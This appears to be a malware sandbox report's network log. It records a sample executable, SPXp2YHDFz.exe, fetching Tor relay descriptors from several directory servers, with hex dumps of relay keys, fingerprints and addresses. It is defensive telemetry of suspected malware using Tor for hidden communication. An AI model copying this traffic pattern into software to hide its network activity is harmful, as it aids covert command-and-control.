Oct 24, 2022 11:09:14.825323105 CEST	7610	OUT	GET /tor/server/fp/8ad97b051d47d3bb8529db7d857574269fd50825 HTTP/1.0 Host: 92.222.79.186 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:16.803009033 CEST	7610	IN	HTTP/1.0 503 Directory busy, try again later Date: Mon, 24 Oct 2022 09:09:14 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49709	199.249.230.177	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:17.591484070 CEST	7611	OUT	GET /tor/server/fp/8ad97b051d47d3bb8529db7d857574269fd50825 HTTP/1.0 Host: 199.249.230.177 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:18.058859110 CEST	7612	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:17 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:17 GMT Data Raw: 72 6f 75 74 65 72 20 74 6f 6d 6d 79 54 4f 52 20 31 39 33 2e 32 33 39 2e 38 36 2e 31 33 33 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 49 4f 41 58 75 2f 37 4e 75 62 59 32 63 4a 6d 47 31 34 4a 51 6f 31 49 2b 69 49 51 69 30 31 41 62 4e 6a 43 42 31 47 6e 31 4d 6f 6f 6d 32 6b 41 51 41 67 42 41 41 55 68 42 74 62 0a 57 57 42 67 51 74 2f 2f 62 35 44 54 37 64 45 2f 5a 4f 79 64 47 37 49 57 4a 70 77 54 48 74 4c 48 6c 44 57 62 4c 49 69 52 73 39 2f 70 47 33 4f 2f 50 36 49 79 4e 59 33 68 71 2b 42 6a 5a 55 35 72 0a 69 73 31 32 48 46 73 4a 75 55 69 4d 5a 64 6a 34 71 58 55 4a 7a 6b 63 34 31 4e 66 42 36 72 4c 30 4a 44 6e 79 7a 6a 45 71 44 7a 50 37 7a 54 45 35 4c 78 50 41 65 6c 43 37 51 51 6f 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 46 49 51 62 57 31 6c 67 59 45 4c 66 2f 32 2b 51 30 2b 33 52 50 32 54 73 6e 52 75 79 46 69 61 63 45 78 37 53 78 35 51 31 6d 79 77 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 34 20 30 35 3a 35 30 3a 34 31 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 38 41 44 39 20 37 42 30 35 20 31 44 34 37 20 44 33 42 42 20 38 35 32 39 20 44 42 37 44 20 38 35 37 35 20 37 34 32 36 20 39 46 44 35 20 30 38 32 35 0a 75 70 74 69 6d 65 20 31 39 35 38 39 32 32 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 36 37 38 30 35 37 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 36 35 31 32 31 43 36 31 44 44 36 32 46 31 37 35 43 32 38 31 44 32 39 37 37 43 42 31 39 36 31 30 41 43 41 35 39 33 43 38 20 43 47 38 4e 44 47 30 52 68 49 41 37 57 32 58 2f 53 73 55 61 77 67 47 36 37 4d 2b 6e 43 79 74 47 54 39 37 64 62 4d 66 2b 59 4b 34 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 2f 53 43 63 55 35 4d 53 67 53 41 6a 37 67 53 74 75 42 4b 4d 36 5a 77 2f 49 50 50 45 6f 4c 45 67 45 6b 2b 53 70 72 4d 70 66 54 4c 62 45 41 47 75 2f 49 45 6e 65 32 0a 66 65 61 56 2f 34 65 4a 4a 4a 68 78 66 7a 50 70 34 6b 76 6f 4c 56 54 45 49 6a 31 36 76 74 57 39 62 5a 71 50 44 39 47 71 31 4c 79 70 32 41 44 4c 75 6e 7a 4c 39 6b 53 6d 53 46 55 62 6f 6e 47 4c 0a 30 5a 72 6a 2b 33 6f 44 7a 31 74 2f 6f 48 4a 48 50 6d 2b 57 51 44 62 43 4d 38 30 4f 46 70 55 31 2f 37 53 79 55 6e 65 5a 54 31 63 6e 71 4b 50 66 36 48 4c 44 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4f 66 4c 63 4f Data Ascii: router tommyTOR 193.239.86.133 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxIOAXu/7NubY2cJmG14JQo1I+iIQi01AbNjCB1Gn1Moom2kAQAgBAAUhBtbWWBgQt//b5DT7dE/ZOydG7IWJpwTHtLHlDWbLIiRs9/pG3O/P6IyNY3hq+BjZU5ris12HFsJuUiMZdj4qXUJzkc41NfB6rL0JDnyzjEqDzP7zTE5LxPAelC7QQo=-----END ED25519 CERT-----master-key-ed25519 FIQbW1lgYELf/2+Q0+3RP2TsnRuyFiacEx7Sx5Q1mywplatform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-24 05:50:41fingerprint 8AD9 7B05 1D47 D3BB 8529 DB7D 8575 7426 9FD5 0825uptime 1958922bandwidth 1073741824 1073741824 2678057extra-info-digest 65121C61DD62F175C281D2977CB19610ACA593C8 CG8NDG0RhIA7W2X/SsUawgG67M+nCytGT97dbMf+YK4onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAK/SCcU5MSgSAj7gStuBKM6Zw/IPPEoLEgEk+SprMpfTLbEAGu/IEne2feaV/4eJJJhxfzPp4kvoLVTEIj16vtW9bZqPD9Gq1Lyp2ADLunzL9kSmSFUbonGL0Zrj+3oDz1t/oHJHPm+WQDbCM80OFpU1/7SyUneZT1cnqKPf6HLDAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAOfLcO
Oct 24, 2022 11:09:18.058932066 CEST	7613	IN	Data Raw: 41 43 74 61 36 48 54 64 6d 45 67 7a 42 36 79 30 58 39 2f 46 71 32 4c 38 2b 58 46 6c 32 65 31 6c 31 72 6c 4e 4d 6d 72 2f 71 4d 67 56 2b 4b 33 61 4d 6e 0a 47 38 45 59 4d 56 6b 42 63 50 6a 74 6c 43 38 6e 5a 2f 36 34 6c 67 65 67 57 44 65 58 69 44 73 Data Ascii: ACta6HTdmEgzB6y0X9/Fq2L8+XFl2e1l1rlNMmr/qMgV+K3aMnG8EYMVkBcPjtlC8nZ/64lgegWDeXiDsLhkLH/s8CF6KNP/vSxsTFv4tw1ttYi2FWrJ0wUtMZfxHyYBbs0/T5gySZpz83xOy8pcCBYlPAu2lp5PsSVrhZAgMBAAE=-----END RSA PUBLIC KEY-----onion-key-crosscert-----BEGIN CROSSC
Oct 24, 2022 11:09:18.058954954 CEST	7614	IN	Data Raw: 33 43 35 38 31 41 35 30 39 33 35 20 24 38 41 44 39 37 42 30 35 31 44 34 37 44 33 42 42 38 35 32 39 44 42 37 44 38 35 37 35 37 34 32 36 39 46 44 35 30 38 32 35 20 24 42 39 33 38 38 45 42 33 34 38 35 44 30 35 35 46 41 30 41 32 42 46 44 32 44 45 30 Data Ascii: 3C581A50935 $8AD97B051D47D3BB8529DB7D857574269FD50825 $B9388EB3485D055FA0A2BFD2DE0F6DDB6F6DE429hidden-service-dircontact jamar1992@protonmail.comntor-onion-key g0slZ30kK4QI+LZgjhd5opZDo0fKBpWmJjpWCNYQmSwreject :tunnelled-dir-serverover

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49704	86.59.21.38	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:20.279861927 CEST	7618	OUT	GET /tor/server/fp/33d6a3a8bd977723fd4c053151f78d852ac62775 HTTP/1.0 Host: 86.59.21.38 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:23.289063931 CEST	7624	OUT	GET /tor/server/fp/33d6a3a8bd977723fd4c053151f78d852ac62775 HTTP/1.0 Host: 86.59.21.38 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:26.336174011 CEST	7624	OUT	GET /tor/server/fp/33d6a3a8bd977723fd4c053151f78d852ac62775 HTTP/1.0 Host: 86.59.21.38 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:30.455028057 CEST	7627	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:20 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:20 GMT Data Raw: 72 6f 75 74 65 72 20 74 69 72 7a 20 35 31 2e 31 35 38 2e 32 33 31 2e 37 36 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 49 47 41 56 53 65 55 35 59 64 6b 63 32 47 62 59 71 4b 76 4d 35 33 33 37 42 75 52 33 56 71 77 39 6b 34 38 79 43 34 64 74 71 4f 42 55 32 6d 41 51 41 67 42 41 42 49 37 39 57 59 0a 74 55 33 68 45 42 2b 47 67 53 77 74 35 4c 73 72 46 68 58 6e 69 78 34 32 61 4d 42 76 44 64 4a 4c 4a 55 6d 68 44 6a 6e 52 4f 4b 78 31 48 38 6f 72 4b 76 56 39 39 30 58 6d 4c 2f 71 6b 45 74 33 48 0a 6f 62 30 6c 36 78 37 2b 74 6b 62 69 71 64 39 6b 65 71 4d 33 4d 6a 2f 44 34 48 72 4d 67 39 53 71 6a 47 46 54 46 63 62 5a 52 66 39 4e 74 6c 47 4b 4a 6f 77 45 50 6c 4e 32 72 77 73 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 53 4f 2f 56 6d 4c 56 4e 34 52 41 66 68 6f 45 73 4c 65 53 37 4b 78 59 56 35 34 73 65 4e 6d 6a 41 62 77 33 53 53 79 56 4a 6f 51 34 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 31 35 3a 32 30 3a 31 33 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 33 33 44 36 20 41 33 41 38 20 42 44 39 37 20 37 37 32 33 20 46 44 34 43 20 30 35 33 31 20 35 31 46 37 20 38 44 38 35 20 32 41 43 36 20 32 37 37 35 0a 75 70 74 69 6d 65 20 36 34 39 30 32 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 30 31 31 32 33 38 34 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 33 43 44 33 37 30 41 38 31 34 36 37 32 33 32 37 46 32 35 44 46 30 36 33 34 37 34 44 46 43 36 36 30 44 32 33 35 31 43 35 20 4e 43 68 63 43 48 6f 52 36 37 72 36 4f 66 7a 56 2b 32 32 31 4c 77 4a 52 77 32 57 43 64 76 39 52 4b 53 50 47 7a 56 58 69 4c 49 55 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 73 46 64 6c 2f 58 70 51 65 6a 71 51 75 52 32 4d 4e 68 32 76 54 39 6d 45 66 45 5a 32 31 4e 77 56 33 32 62 39 78 55 33 47 7a 32 73 4f 30 57 34 6d 41 76 77 66 75 45 0a 4a 55 48 72 74 78 64 4e 6d 33 69 70 67 69 6a 57 65 76 46 4a 74 61 6f 46 32 34 62 72 39 4e 79 31 4b 36 43 49 54 4a 61 6d 4e 34 56 36 39 33 57 59 35 58 56 68 44 73 75 77 70 6c 4c 52 47 34 70 35 0a 4d 32 55 2f 6e 57 68 38 70 7a 31 51 55 54 73 36 61 50 49 79 51 64 37 34 78 69 4b 33 43 35 46 57 30 58 65 6a 4b 69 43 51 45 6c 41 45 50 6b 30 59 46 39 34 6e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 6a 71 49 32 35 36 41 41 64 50 2b Data Ascii: router tirz 51.158.231.76 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxIGAVSeU5Ydkc2GbYqKvM5337BuR3Vqw9k48yC4dtqOBU2mAQAgBABI79WYtU3hEB+GgSwt5LsrFhXnix42aMBvDdJLJUmhDjnROKx1H8orKvV990XmL/qkEt3Hob0l6x7+tkbiqd9keqM3Mj/D4HrMg9SqjGFTFcbZRf9NtlGKJowEPlN2rws=-----END ED25519 CERT-----master-key-ed25519 SO/VmLVN4RAfhoEsLeS7KxYV54seNmjAbw3SSyVJoQ4platform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-23 15:20:13fingerprint 33D6 A3A8 BD97 7723 FD4C 0531 51F7 8D85 2AC6 2775uptime 64902bandwidth 1073741824 1073741824 20112384extra-info-digest 3CD370A814672327F25DF063474DFC660D2351C5 NChcCHoR67r6OfzV+221LwJRw2WCdv9RKSPGzVXiLIUonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKsFdl/XpQejqQuR2MNh2vT9mEfEZ21NwV32b9xU3Gz2sO0W4mAvwfuEJUHrtxdNm3ipgijWevFJtaoF24br9Ny1K6CITJamN4V693WY5XVhDsuwplLRG4p5M2U/nWh8pz1QUTs6aPIyQd74xiK3C5FW0XejKiCQElAEPk0YF94nAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALjqI256AAdP+
Oct 24, 2022 11:09:31.686786890 CEST	7628	IN	Data Raw: 6a 36 46 6b 33 59 7a 4e 41 43 58 64 35 48 38 68 62 32 54 74 4d 55 64 38 71 53 44 59 37 63 4b 65 34 31 57 6c 76 73 71 4b 74 45 77 0a 4e 49 35 72 6b 69 2f 58 38 55 71 35 5a 65 71 34 71 43 31 67 32 76 69 4c 49 39 41 74 52 32 62 4f 6e 50 6b 56 2b 6c Data Ascii: j6Fk3YzNACXd5H8hb2TtMUd8qSDY7cKe41WlvsqKtEwNI5rki/X8Uq5Zeq4qC1g2viLI9AtR2bOnPkV+lx9+f1lgwyxjU5x5AYmbkU0EDfZEP9P8l+FTr6K0hkFbjHsII8GUI+R25nHuKe531fmIZCj5G8nLZrBAgMBAAE=-----END RSA PUBLIC KEY-----onion-key-crosscert-----BEGIN CROSSCERT----
Oct 24, 2022 11:09:33.789361954 CEST	7629	IN	Data Raw: 35 32 39 37 41 46 32 45 42 33 31 31 35 46 37 41 31 34 38 32 20 24 42 43 36 31 36 33 36 35 34 36 45 44 32 31 41 34 39 46 45 43 30 41 35 33 32 30 36 34 44 42 39 35 33 38 46 37 43 34 33 30 20 24 43 39 38 33 38 30 37 45 41 37 41 43 41 44 43 46 32 39 Data Ascii: 5297AF2EB3115F7A1482 $BC61636546ED21A49FEC0A532064DB9538F7C430 $C983807EA7ACADCF29A373E09F853E737A1E9D46 $CF9A547081C95664C8C735BADDB91E6210F97958 $E166AA0BC0F97C25EF02193D3979442A82836512 $E651823A05638B1AA3413705C434740E70884921 $F6D34AA29FC

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49710	199.249.230.161	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:20.634212017 CEST	7619	OUT	GET /tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1 HTTP/1.0 Host: 199.249.230.161 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:20.797157049 CEST	7620	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:20 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:20 GMT Data Raw: 72 6f 75 74 65 72 20 74 6f 72 66 6c 6f 77 65 72 20 31 33 38 2e 32 2e 31 37 36 2e 32 32 35 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 4b 53 41 61 70 4e 73 67 78 71 73 68 75 65 44 35 30 67 53 65 53 75 63 41 51 54 74 52 4c 75 6b 53 35 73 72 75 75 5a 55 48 61 50 54 6b 5a 32 41 51 41 67 42 41 41 77 6c 49 57 62 0a 47 63 63 6a 6e 72 4f 63 37 4e 41 77 31 6b 6c 34 2f 4c 62 45 71 6f 70 48 58 70 6e 62 50 6d 4b 33 70 6c 30 69 64 4f 2f 66 58 4f 39 55 6f 4c 5a 77 4f 39 6f 59 36 6a 50 4f 65 66 44 63 54 39 6c 36 0a 48 58 39 68 53 79 6d 4d 41 46 58 51 6f 39 65 38 6a 38 32 52 6f 38 31 38 77 55 37 74 76 33 41 4f 55 6b 55 71 41 32 4d 4b 7a 51 39 56 63 44 31 51 53 58 75 2b 47 61 72 6d 39 41 41 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 4d 4a 53 46 6d 78 6e 48 49 35 36 7a 6e 4f 7a 51 4d 4e 5a 4a 65 50 79 32 78 4b 71 4b 52 31 36 5a 32 7a 35 69 74 36 5a 64 49 6e 51 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 32 31 3a 31 32 3a 30 34 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 42 33 31 44 20 38 39 38 32 20 33 46 43 41 20 41 43 33 31 20 44 33 45 32 20 31 32 37 43 20 45 35 45 43 20 41 32 36 32 20 38 41 36 43 20 31 41 45 31 0a 75 70 74 69 6d 65 20 33 32 34 30 36 38 0a 62 61 6e 64 77 69 64 74 68 20 32 36 32 31 34 34 30 20 35 32 34 32 38 38 30 20 32 37 36 33 37 37 36 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 44 38 46 41 34 32 30 34 35 38 46 42 42 35 41 46 30 42 34 41 30 41 31 37 36 43 45 30 30 31 31 44 41 33 35 32 44 39 43 43 20 6c 58 4b 4d 4b 55 69 75 56 66 39 4a 71 52 69 53 79 74 49 62 55 4f 6a 34 2f 39 69 73 4f 48 32 6c 77 7a 7a 54 66 44 33 2b 79 76 41 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 4c 71 68 67 6b 63 36 5a 42 63 72 65 66 6e 78 50 5a 45 59 55 6a 64 57 48 2f 42 73 63 62 64 49 44 52 72 77 46 71 76 66 70 72 46 4e 72 6a 6c 7a 6e 43 70 46 35 46 43 0a 48 7a 43 63 52 6f 49 6c 56 4a 64 73 4f 72 7a 4e 56 6b 55 36 6f 72 47 57 73 4e 6b 55 76 46 32 77 56 39 33 52 4a 45 76 52 54 68 41 44 2b 74 4d 34 43 44 63 4e 62 6e 4c 75 36 35 73 78 37 65 55 50 0a 52 43 32 79 70 69 43 4f 64 52 6f 39 35 6e 69 4f 6f 4a 4b 7a 71 55 48 57 77 4e 2f 6b 65 6d 53 61 42 46 64 4a 5a 2f 57 37 4d 79 4b 66 79 4d 62 67 44 57 56 50 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 47 66 4f 62 2f 48 58 79 58 4a 2b 35 Data Ascii: router torflower 138.2.176.225 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxKSAapNsgxqshueD50gSeSucAQTtRLukS5sruuZUHaPTkZ2AQAgBAAwlIWbGccjnrOc7NAw1kl4/LbEqopHXpnbPmK3pl0idO/fXO9UoLZwO9oY6jPOefDcT9l6HX9hSymMAFXQo9e8j82Ro818wU7tv3AOUkUqA2MKzQ9VcD1QSXu+Garm9AA=-----END ED25519 CERT-----master-key-ed25519 MJSFmxnHI56znOzQMNZJePy2xKqKR16Z2z5it6ZdInQplatform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-23 21:12:04fingerprint B31D 8982 3FCA AC31 D3E2 127C E5EC A262 8A6C 1AE1uptime 324068bandwidth 2621440 5242880 2763776extra-info-digest D8FA420458FBB5AF0B4A0A176CE0011DA352D9CC lXKMKUiuVf9JqRiSytIbUOj4/9isOH2lwzzTfD3+yvAonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALLqhgkc6ZBcrefnxPZEYUjdWH/BscbdIDRrwFqvfprFNrjlznCpF5FCHzCcRoIlVJdsOrzNVkU6orGWsNkUvF2wV93RJEvRThAD+tM4CDcNbnLu65sx7eUPRC2ypiCOdRo95niOoJKzqUHWwN/kemSaBFdJZ/W7MyKfyMbgDWVPAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMGfOb/HXyXJ+5
Oct 24, 2022 11:09:20.797245026 CEST	7621	IN	Data Raw: 6f 43 32 6f 58 5a 33 64 4f 55 47 6e 78 39 34 51 48 75 42 34 53 63 64 50 79 76 65 43 35 68 75 46 46 65 58 39 6d 79 45 47 67 55 0a 42 42 78 75 6c 4b 5a 34 68 72 48 2b 4d 67 62 78 64 34 51 31 34 47 6d 48 65 6c 42 68 49 51 48 63 48 73 71 33 67 49 48 Data Ascii: oC2oXZ3dOUGnx94QHuB4ScdPyveC5huFFeX9myEGgUBBxulKZ4hrH+Mgbxd4Q14GmHelBhIQHcHsq3gIHnAqrrxHGRyBeHOvXa0L1vZTfB3yT3k80MfW12EMlJ/UOHyko7tY2yD5p3EkSC2LDcnP3f9KPvvhApAgMBAAE=-----END RSA PUBLIC KEY-----onion-key-crosscert-----BEGIN CROSSCERT-----
Oct 24, 2022 11:09:20.797281027 CEST	7621	IN	Data Raw: 79 4a 79 6c 4d 49 4a 2f 66 39 33 34 7a 35 58 51 74 59 79 35 4e 6c 73 69 79 52 42 64 33 35 79 49 0a 72 65 6a 65 63 74 20 2a 3a 2a 0a 74 75 6e 6e 65 6c 6c 65 64 2d 64 69 72 2d 73 65 72 76 65 72 0a 72 6f 75 74 65 72 2d 73 69 67 2d 65 64 32 35 35 31 Data Ascii: yJylMIJ/f934z5XQtYy5NlsiyRBd35yIreject :tunnelled-dir-serverrouter-sig-ed25519 iiUk4oEolDwga6/LxNEozuulm4CQ4dojN5DSaZEALnyb9W0/VapOuMGbsVZwqM1R0QTqZ0B+2k6TtkuMRSYXBwrouter-signature-----BEGIN SIGNATURE-----MMb9sNZ5zIR2nlt+RqMdxYFIuJwYV

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49711	199.249.230.174	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:34.765901089 CEST	7634	OUT	GET /tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1 HTTP/1.0 Host: 199.249.230.174 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:35.462927103 CEST	7635	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:35 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:35 GMT Data Raw: 72 6f 75 74 65 72 20 74 6f 72 66 6c 6f 77 65 72 20 31 33 38 2e 32 2e 31 37 36 2e 32 32 35 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 4b 53 41 61 70 4e 73 67 78 71 73 68 75 65 44 35 30 67 53 65 53 75 63 41 51 54 74 52 4c 75 6b 53 35 73 72 75 75 5a 55 48 61 50 54 6b 5a 32 41 51 41 67 42 41 41 77 6c 49 57 62 0a 47 63 63 6a 6e 72 4f 63 37 4e 41 77 31 6b 6c 34 2f 4c 62 45 71 